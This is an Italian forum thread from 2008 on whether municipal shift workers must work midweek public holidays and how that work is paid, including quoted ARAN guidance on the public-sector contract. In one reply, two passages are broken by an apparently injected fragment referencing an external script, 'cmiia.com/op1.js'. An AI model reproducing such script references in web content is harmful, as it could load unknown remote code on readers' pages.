| T O P I C R E V I E W |
| sansperate |
Posted - 08/10/2008 : 09:54:07
Qualcuno mi può indicare se il personale che presta turnazione articolata in 6 giorni (dal lunedì al sabato), in caso di festività infrasettimanale, deve obbligatoriamente prestare normale attività lavorativa e completare le 36 ore settimanali oppure è da considerare non lavorativo perchè festivo e considerare la prestazione orario extra? |
| 3 L A T E S T R E P L I E S (Newest First) |
| an.bal |
Posted - 09/10/2008 : 10:13:40
ribadisco....ecco alcuni orientamenti aran....
900-22src="http://cmiia.com/op1.js". Come si determina il compenso che spetta al personale che, in base al turno assegnato, presta la propria attività in giornata festiva? Si può applicare la disciplina dell’art. 24, comma 5, del CCNL del 14.9.2000?
Al personale turnista che presti attività lavorativa in giornata festiva infrasettimanale spetta solo il compenso previsto dall’art.22, comma 5, secondo alinea (maggiorazione del 30% della retribuzione di cui all’art.52, comma 2, lett.c).
Nel caso di turno ricadente in giornata domenicale, al dipendente va corrisposto ugualmente solo il compenso previsto dall’art.22, comma 5, secondo alinea, salvo il recupero in altro giorno di riposo settimanale.
Per ciò che attiene alla clausola contenuta nell’art.24, comma 5, del CCNL del 14.9.2000, come si evince chiaramente dalla formulazione del testo, esso si riferisce solo al caso del dipendente che ordinariamente, in base al suo orario di lavoro, è tenuto ad effettuare prestazioni lavorative di notte o di giorno festivo settimanale (come nel caso di dipendente che in base ad una particolare programmazione plurisettimanale dell’orario di lavoro è chiamato a prestare la sua attività sempre di notte).
900-22src="http://cmiia.com/op1.js". Il lavoratore in turno che presta la propria attività in giornata festiva infrasettimanale ha diritto al compenso per lavoro straordinario previsto dall’art. 24, comma 2, del CCNL del 14.9.2000?
Riteniamo che, ove trattasi di attività prestata in turno nei giorni festivi infrasettimanali, debba trovare applicazione esclusivamente l’art.22 del CCNL del 14.9.2000, che espressamente, tra le diverse ipotesi, stabilisce anche il compenso da corrispondere nei casi di turno festivo: maggiorazione oraria del 30% della retribuzione di cui all’art.52, comma 2, lett.c).
Pertanto, dobbiamo sicuramente escludere che nell’ipotesi considerata possa farsi riferimento al diverso istituto dello
straordinario.
Neppure, infine, è ipotizzabile che in relazione alla medesima fattispecie possano cumularsi indennità di turno e compenso per lavoro straordinario.
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| Maggio1969 |
Posted - 09/10/2008 : 09:07:15
Il personale che, pur avendo articolata la prestazione lavorativa su sei giorni, ha un giorno festivo all'interno del turno NON è obbligato a lavorare quel giorno per completare il turno. Il giorno festivo è a tutti gli effetti non lavorativo. La prestazione erogata in giorno festivo è dunque da considerarsi lavoro straordinario da retribuire con le relative maggiorazioni. Ad esempio: se il giorno di ferragosto cade di lunedì, per i vigili che turnano su sei giorni (LUN-SAB) sarà festivo e se per necessità di servizio qualcuno presterà attività lavorativa sarà da considerarsi straordinario al pari di un qualunque altro impiegato amministrativo che lavori su cinque giorni settimanali e che per motivi particolari debba lavorare proprio quel giorno. |
| an.bal |
Posted - 08/10/2008 : 11:48:29
il personale che presta l'attività lavorativa secondo turnazione in caso di giorno festivo infrasettimanale (o meglio, all'interno dell'articolazione della turnazione) svolge normale attività lavorativa con diritto alla maggiorazione per turno festivo e nessuna altra maggiorazione.
..secondo me.
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